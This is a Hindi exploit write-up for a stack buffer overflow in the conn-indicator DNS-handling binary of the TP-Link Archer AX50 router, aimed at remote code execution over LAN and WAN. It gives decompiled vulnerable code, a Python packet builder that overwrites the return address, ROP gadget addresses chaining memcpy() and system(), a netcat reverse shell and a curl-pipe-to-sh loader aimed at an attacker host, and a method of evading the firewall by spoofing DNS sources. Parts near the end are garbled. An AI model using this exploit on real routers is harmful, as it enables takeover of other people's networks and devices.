
TP-Link Archer AX50 राउटर में conn-indicator बाइनरी में पाए गए स्टैक-आधारित बफर ओवरफ्लो के लिए एक्सप्लॉइट
TP-Link Archer AX50 राउटर अपने फर्मवेयर संस्करण 1.0.14 Build 20240108 rel.42655(4555) में स्टैक-आधारित बफर ओवरफ्लो के प्रति संवेदनशील है, जिससे LAN और WAN दोनों ओर रिमोट कोड एक्ज़ीक्यूशन (Remote Code Execution) हो सकता है। इस भेद्यता का मूल कारण CVE-2020-10881 के समान है, जिसे Flashback टीम ने खोजा था और उनकी वीडियो श्रृंखला में विस्तार से बताया गया है (संदर्भ देखें)। हालाँकि, शोषण प्रक्रिया थोड़ी अलग है, इसलिए एक नया एक्सप्लॉइट लिखना आवश्यक था।

यह भेद्यता conn-indicator बाइनरी में उत्पन्न होती है, जो यह जाँचने के लिए ज़िम्मेदार है कि राउटर इंटरनेट से जुड़ा है या नहीं। यह समय-समय पर DNS क्वेरी भेजता है और 32000 और 61000 के बीच एक यादृच्छिक UDP पोर्ट पर उनके उत्तरों (responses) को सुनता है।
इन DNS उत्तर पैकेटों को प्राप्त करने और पहले संसाधित करने वाला फ़ंक्शन TPDns_RecvAndResolve() है, जो 0x00405e3c पर स्थित है। जब recvfrom के साथ कोई पैकेट प्राप्त होता है, तो उसे buf में संग्रहीत किया जाता है, जिसका आकार 2960 बाइट्स है। फिर, यह जाँचता है कि रिटर्न कोड सही है (RCODE == 0) और पैकेट में प्रश्नों और उत्तरों की संख्या (QDCOUNT और ANCOUNT) की जाँच करता है। उत्तरों को संसाधित करने के लिए, यह process_resolved_IP() को कॉल करता है और उसे buf का एक पॉइंटर, answer_ptr, जो buf में पैकेट के भीतर उत्तरों का स्थान दर्शाने वाला पॉइंटर है, उत्तरों की संख्या (ANCOUNT) और अन्य फ़्लैग्स पास करता है:
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
[...]
byte buf [2960];
[...]
while( true ) {
recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
local_38);
piVar2 = __errno_location();
if (recv_bytes == 0) goto RECV_ERROR;
if (recv_bytes < 0) break;
total_recv_bytes = total_recv_bytes + recv_bytes;
if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
}
[...]
/* Check that ANCOUNT is not 0 (answer contains at least one domain) */
puVar5 = (undefined4 *)0x0;
if (buf._6_2_ != 0) {
local_40 = 0;
puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
answer_ptr = answer_ptr + local_40;
}
[...]
process_resolved_IP() फ़ंक्शन, जो 0x00405818 पर स्थित है, एक-एक करके प्रत्येक उत्तर पर जाता है और उनमें से प्रत्येक के लिए DNS_answer_parser() को कॉल करता है। यह तर्कों के रूप में buf का वही पॉइंटर, answer, जो buf में मूल पैकेट के भीतर वर्तमान में पार्स किए जा रहे उत्तर की ओर संकेत करता है, और current_answer का एक पॉइंटर पास करता है, जो 256 बाइट्स का बफर है:
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
[...]
byte current_answer [256];
ushort answer_flags [5];
i = 0;
puVar9 = (undefined4 *)0x0;
puVar7 = (undefined4 *)0x0;
answer = answer_ptr;
do {
/* Check if all answers have been parsed already */
if (i == ANCOUNT) {
if (param_4 != (undefined4 *)0x0) {
*param_4 = puVar7;
}
if (param_5 != (int *)0x0) {
*param_5 = (int)answer - (int)answer_ptr;
}
return puVar9;
}
bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
memcpy(answer_flags,answer + bytes_processed,10);
uVar1 = answer_flags._4_4_;
bytes_processed = bytes_processed + 10;
uVar6 = (uint)answer_flags[4];
uVar8 = (uint)answer_flags[0];
if (uVar8 == 2) {
LAB_00405924:
DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
}
else if (uVar8 < 3) {
pbVar2 = answer + bytes_processed;
if (uVar8 == 1) {
sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
(uint)pbVar2[3]);
}
}
else {
if (uVar8 == 5) goto LAB_00405924;
if (uVar8 == 0x1c) {
inet_ntop(10,answer,(char *)abStack_240,0xff);
}
}
answer = answer + bytes_processed + uVar6;
[...]
i = i + 1;
} while( true );
}
DNS_answer_parser() फ़ंक्शन, जो 0x004054e0 पर स्थित है, प्रत्येक उत्तर को अलग-अलग पार्स करता है, जिसमें एक डोमेन नाम होता है जिसे <len><domain><len><domain>... के रूप में दर्शाया जाता है। उदाहरण के लिए, example.com को 7example3com के रूप में दर्शाया जाएगा। फ़ंक्शन उत्तर में डोमेन नाम बनाने वाले <len><domain> के प्रत्येक जोड़े पर लूप करता है और जाँचता है कि <len> 63 से कम है (domain_name & 0xc0 != 0)। फिर, यह memcpy को कॉल करता है और <domain> के अनुरूप answer के <len> बाइट्स को current_answer में कॉपी करता है। यह डोमेन नाम में <len><domain> के अगले जोड़े के लिए प्रक्रिया दोहराता है।
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
int iVar1;
uint __n;
int iVar2;
uint uVar3;
ushort flag_and_offset;
byte domain_name;
iVar2 = 0;
do {
domain_name = *answer;
__n = (uint)domain_name;
iVar1 = 1;
if (__n == 0) {
*current_answer = 0;
LAB_004055b0:
return iVar2 + iVar1;
}
/* Check if compression mode is used */
if ((domain_name & 0xc0) != 0) {
flag_and_offset = CONCAT11(domain_name,answer[1]);
DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
iVar1 = 2;
goto LAB_004055b0;
}
uVar3 = __n + 1;
if (flag == 0) {
*current_answer = '.';
memcpy(current_answer + 1,answer + 1,__n);
__n = uVar3;
}
else {
memcpy(current_answer,answer + 1,__n);
}
answer = answer + uVar3;
current_answer = current_answer + __n;
iVar2 = iVar2 + uVar3;
flag = 0;
} while( true );
}
चूँकि current_answer केवल 256 बाइट्स लंबा है, एक हमलावर के लिए यह संभव है कि वह एक ऐसा पैकेट भेजे जिसके उत्तर में इतना बड़ा डोमेन नाम हो कि बफर ओवरफ्लो हो जाए।
शोषण प्रक्रिया उस प्रक्रिया के बहुत समान है जिसे Flashback टीम ने CVE-2020-10881 के लिए अपनी वीडियो श्रृंखला में समझाया था (संदर्भ देखें), लेकिन कुछ प्रमुख अंतर हैं:
move निर्देश में भिन्न है, क्योंकि अब memcpy() के count तर्क के रूप में $a2 में ले जाया जाने वाला रजिस्टर $s0 के बजाय $s1 है।process_resolved_IP() में i वेरिएबल $s8 के बजाय $s5 में लोड होता है। फिर, जब इसकी तुलना $v1 से की जाती है, तो $v1 को $sp+616 से लिया जाता है, जो ओवरफ्लो हुए बफर से बहुत दूर है, इसलिए स्टैक को उत्तर और कमांड से आगे तक corrupt करना पड़ा।/tmp को छोड़कर केवल-पठनीय है, इसलिए सभी रीड और राइट वहीं किए जाने चाहिए। इससे रिवर्स शेल का 62 वर्णों से कम होना असंभव हो जाता है, इसलिए इसे लक्ष्य पर तैनात करने के लिए, इसे एक वेब सर्वर से सर्व किया जाना चाहिए और लक्ष्य पर डाउनलोड करके निष्पादित करने के लिए एक कमांड भेजी जानी चाहिए।इसे ध्यान में रखते हुए, मैं फिर भी पूरी प्रक्रिया समझाऊँगा।
conn-indicator बाइनरी में NX सक्षम है और स्वयं को छोड़कर हर चीज़ में ASLR सक्षम है:
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430 /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430 /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0 [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681 /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681 /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506 /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506 /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872 /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872 /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893 /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893 /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711 /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711 /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709 /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709 /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714 /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714 /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0 [stack]
7ffff000-80000000 r-xp 00000000 00:00 0 [vdso]
root@Archer_AX50:/proc/6541# exploit
इसलिए इस भेद्यता का शोषण करने की रणनीति एक ROP चेन बनाना है जिसमें हम वांछित कमांड के साथ system() को निष्पादित कर सकें।
बफर को ओवरफ्लो करने और $ra रजिस्टर को corrupt करने के लिए, एक हमलावर को DNS प्रतिक्रिया भेजनी होगी जिसके उत्तर में पर्याप्त बड़ा डोमेन नाम हो। DNS हेडर के संबंध में, एकमात्र आवश्यकता यह है कि RCODE 0 हो और ANCOUNT 1 हो, क्योंकि पैकेट में केवल एक उत्तर होना आवश्यक है। उदाहरण के तौर पर, निम्नलिखित पैकेट $ra रजिस्टर को 0x50505050 से corrupt करता है:
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f
TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]
# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT
# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
packet += [DOMAIN_LEN]
for j in range(0, DOMAIN_LEN):
packet += [0x41]
# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23
# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]
अब, चूँकि बाइनरी का पता हर निष्पादन में हमेशा समान रहता है और इसमें एक लिखने योग्य क्षेत्र है, योजना यह है कि निष्पादित किए जाने वाले कमांड को वहाँ कॉपी करें और फिर उसके साथ system() को कॉल करें। ऐसा करने के लिए, निम्नलिखित ROP चेन का उपयोग किया जाता है:
memcpy() के लिए तर्क तैयार करता है। अगले गैजेट का पता $ra में लोड किया जाता है। फिर, $s2 को $v0 में ले जाया जाता है। इसमें बाइनरी के उस लिखने योग्य क्षेत्र का पता होता है जिसमें कमांड कॉपी किया जाएगा, जो memcpy() का dest तर्क होगा। फिर, memcpy के लिए count तर्क एक स्टैक पते से $s1 में लोड किया जाता है जिसे हम नियंत्रित करते हैं। अंत में, यह अगले गैजेट पर कूदता है:00402700 lw ra, 0x2c(sp)
00402704 move v0, s2
00402708 lw s2, 0x28(sp)
0040270c lw s1, 0x24(sp)
00402710 lw s0, 0x20(sp)
00402714 jr ra
00402718 addiu sp, sp, 0x30
memcpy() के लिए तर्क तैयार करना जारी रखता है और फिर इसे कॉल करता है। memcpy() का dest तर्क, जो बाइनरी के लिखने योग्य क्षेत्र से संबंधित है और $v0 में था, memcpy() के पहले पैरामीटर के रूप में $a0 में लोड किया जाता है। निष्पादन के इस बिंदु पर, $a1 DNS प्रतिक्रिया पैकेट में उत्तर के अंत की ओर संकेत करता है, जहाँ हमने अपनी कमांड स्ट्रिंग रखी है, इसलिए src पैरामीटर तैयार करने की कोई आवश्यकता नहीं है। फिर, $s1, जिसमें पिछले गैजेट में लोड किया गया count पैरामीटर होता है, को memcpy() के तीसरे पैरामीटर के रूप में $a2 में ले जाया जाता है। अंत में, memcpy() कॉल किया जाता है और कमांड स्ट्रिंग बाइनरी के लिखने योग्य क्षेत्र में कॉपी हो जाती है। यह गैजेट के अंत में स्थित है, इसलिए अब निष्पादन इसके अंदर जारी रहता है। स्टैक को अब इस प्रकार व्यवस्थित किया जाना चाहिए ताकि फ़ंक्शन सफलतापूर्वक रिटर्न कर सके। ऐसा करने के लिए, इस फ़ंक्शन के कुछ वेरिएबल, जो स्टैक और कुछ रजिस्टरों से लोड होते हैं, जैसे , , और , को पेलोड में सावधानीपूर्वक रखा जाता है। रिटर्न करते समय, का पता फिर से स्टैक से लिया जाता है, जिसमें हम वहाँ कूदने के लिए अगले गैजेट का पता रखते हैं।00405a98 move a0, v0
00405a9c jal <EXTERNAL>:memcpy
00405aa0 _move a2, s1
[...]
system() के लिए तर्क तैयार करता है और इसे कॉल करता है। निष्पादन के इस बिंदु पर, $v0 में $s3 का मान होता है, जिसमें हमने बाइनरी के लिखने योग्य क्षेत्र का पता रखा है, जिसमें अब कमांड मौजूद है। इसलिए, $v0 को $a0 में ले जाया जाता है। फिर, system() का पता, जो बाइनरी में आयात किया गया है, स्टैक से $ra में रखा जाता है और system() कॉल किया जाता है, जिससे कोड निष्पादन प्राप्त होता है।004065e8 move a0, v0
004065ec clear v0
004065f0 lw ra, 0x1c(sp)
004065f4 jr ra
अब, लक्ष्य पर निष्पादित किया जाने वाला रिवर्स शेल, जो busybox चलाता है, निम्नलिखित है:
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f
हालाँकि, निष्पादित किया जाने वाला कमांड 62 वर्णों से छोटा होना चाहिए और, चूँकि फ़ाइल सिस्टम केवल /tmp पर लिखने योग्य है, रिवर्स शेल को सीधे निष्पादित करना असंभव था। इसके बजाय, एक लोडर निष्पादित किया गया था: curl http://<attacker>:<port>/ | sh, जो हमलावर से रिवर्स शेल प्राप्त करता है।
अब, केवल एक चीज़ बची है, वह है उस पोर्ट को ब्रूटफोर्स करना जिस पर conn-indicator सुन रहा है, जिसे आसानी से स्वचालित किया जा सकता है।
इस बिंदु तक, यह एक्सप्लॉइट केवल LAN पक्ष पर काम करेगा, क्योंकि WAN पक्ष फ़ायरवॉल किया हुआ है। हालाँकि, इस प्रतिबंध को बायपास करने का एक तरीका है। conn-indicator को DNS उत्तर प्राप्त करने के लिए, फ़ायरवॉल उन पैकेटों को अनुमति देता है जो बाइनरी द्वारा भेजी गई DNS क्वेरी के समान IP से आते हैं, अर्थात वे पैकेट जो लक्ष्य राउटर द्वारा उपयोग किए जा रहे DNS से आते हैं। इस प्रकार, फ़ायरवॉल को बायपास करने के लिए, DNS सर्वर के रूप में स्पूफ़ किए गए पैकेट भेजना पर्याप्त है, जो यदि लक्ष्य किसी स्थानीय नेटवर्क में है तो संभवतः 192.168.0.1, 192.168.1.1 या 10.0.0.1 जैसा कुछ होगा, और यदि लक्ष्य सीधे इंटरनेट से जुड़ा है, तो संभवतः 8.8.8.8, 1.1.1.1 या अन्य सामान्य DNS सर्वर जैसा कुछ होगा।
पूरी तरह कार्यात्मक एक्सप्लॉइट LAN और WAN दोनों के लिए काम करता है। LAN मोड 32000 से 61000 तक हर पोर्ट को ब्रूटफोर्स करता है और WAN मोड समान पोर्ट और सभी संभावित DNS IP पतों को ब्रूटफोर्स करता है, जो SPOOF_LIST में संग्रहीत हैं। इस सूची को लक्ष्य के बारे में हमलावर की जानकारी के आधार पर संपादित किया जाना चाहिए, फिर भी, पर्याप्त समय (मिनट) दिए जाने पर इसे 90% मामलों को कवर करना चाहिए।
process_resolved_IP()ANCOUNTparam_4param_5i$ra